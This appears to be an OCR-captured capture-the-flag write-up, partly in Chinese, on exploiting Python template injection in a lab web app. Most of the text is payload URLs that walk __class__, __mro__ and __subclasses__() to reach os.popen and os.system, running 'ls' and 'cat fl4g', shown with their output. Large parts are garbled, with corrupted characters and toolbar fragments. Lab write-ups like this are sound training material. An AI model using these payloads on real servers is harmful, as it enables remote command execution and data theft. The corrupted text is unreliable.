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TUNT v = @ SQLBASICS- UNION BASED- ERF
@ Lload URL htlp-fﬂ 11.200.241.244:49892/
& SplitURL

V »  Execute

iE [T] Postdata [ | Referrer 4 OxHE:

python template injection

{773}

Load URL [ http://111.200.241.244:49892/((7*7})
& split URL
;

Execute

\D Postdata [ Referrer @K OXHEX 3B @K %URL 3B @K BASEGH 3B | insertstrng to replacd | Insert
URL http://111.200.241.244:49892/49 |not found

os.popen LAfilefiszliR I HAE
__class__ //RRIXI RFT @R
__mro__ //iR[E—AZEATGE RIS

base_ //J’Rll’%ﬁtPh"'fk?ﬁﬂ’IE*
//__mro__Fl__base_ #Z&FRiZIEM AR IR
__subclasses__() //JEIEJUJIEHFH
_init__  //FEMIEL TR
__globals__ /G RE A R R 5
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https://220.249.52.133:47213 /{{" " ._class. }}

JR[E] URL http://220.249.52.133:47213/<type 'str's> not found

#objectil
http://220.249.52.133:47213/{{"'"._class__ ._ mro__}}
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'object'>) not found
$objecti]H5IH
http://220.249.52.133:47213/{{"'"._class__._ mro__[2].__subclasses_ ()}}

@ Load URL [httpy//111.200.241.244:49892/{("._class_._mro_[2]._subclasses_(}}
%  Split URL

BT Execute

[] Postdata [ ] Referrer 4 OxHEX 3» X %URL 3 &K BASEd 3B rt replacing string| (<] Replace All 2 - =,

URL http://111.200.241.244: 49892/[<type type >, <type
‘weakref'>, <type ‘'weakcallableproxy'>, <type 'weakproxy'>,
<type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>
<type 'NoneType'>, <type 'NotimplementedType'>, <type
‘traceback’>, <type 'super'>, <type 'xrange’'>, <type ‘dict'>, <type
'set'>, <type 'slice’'>, <type 'staticmethod'>, <type 'complex’>,
<type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>,
chuinna "Tnranavrhu's e Tmamannimual’ s chuna Thanla'c o funa
RE—XMATAES A, WEHPETLUREIRIVEZE os IR site. _printer3s, ETEFIFRAIE
++—14I, Bl__subclasses__()[71]

E

<class '_abcoll.Iterable'>

<class '_abcoll.Sized'>

<class '_abcoll.Container'>

<class '_abcoll.Callable'>

<type ‘dict_keys'>

<type 'dict_items'>

<type ‘dict_values'>

<class 'site._ [JEINTY">

<class 'site._Helper'>

<type ‘'_sre.SRE_Pattern'>

<type '_sre.SRE_Match'>

<type '_sre.SRE_Scanner'>

<class 'site.Quitter’>

<class 'codecs.IncrementalEncoder’>
<class 'codecs.IncrementalDecoder’>
<type 'functools.partial’>

sublimedhE#, A/n , & ER
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http://220.249.52.133:47213/{{"".__class__.__mro__[2].__subclasses__()
74l c=Siniic = o giliobals==[F“as*l| ,popen( 1s').read()}}

1Z[8] URL http://220.249.52.133:47213/f14g index.py not found

ERfl4gRAE

http://220.249.52.133:47213/]{"".._class_._mro__[2].__subclasses__()
[71].__init__.__globals__['os"] .popen( cat fl4g').read()}}
http://220.249.52.133:47213/{{"".__class__.__mro__[2].__subclasses__()[40]

('fl4g').read(QQ}}

[40]1S a5 |FEfile

wrappe
"instance'>
‘ellipsis’>

‘member descriptor'>
‘Fild" >

‘PyCapsule’>

‘cell’>
‘callable-iterator’>
‘iterator'>
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__class__.__mro__[2].__subclasses__()
[71].__init__.__globals__['0s"].system('1s" ) IREIFIRAEE, KIIBEScurlins
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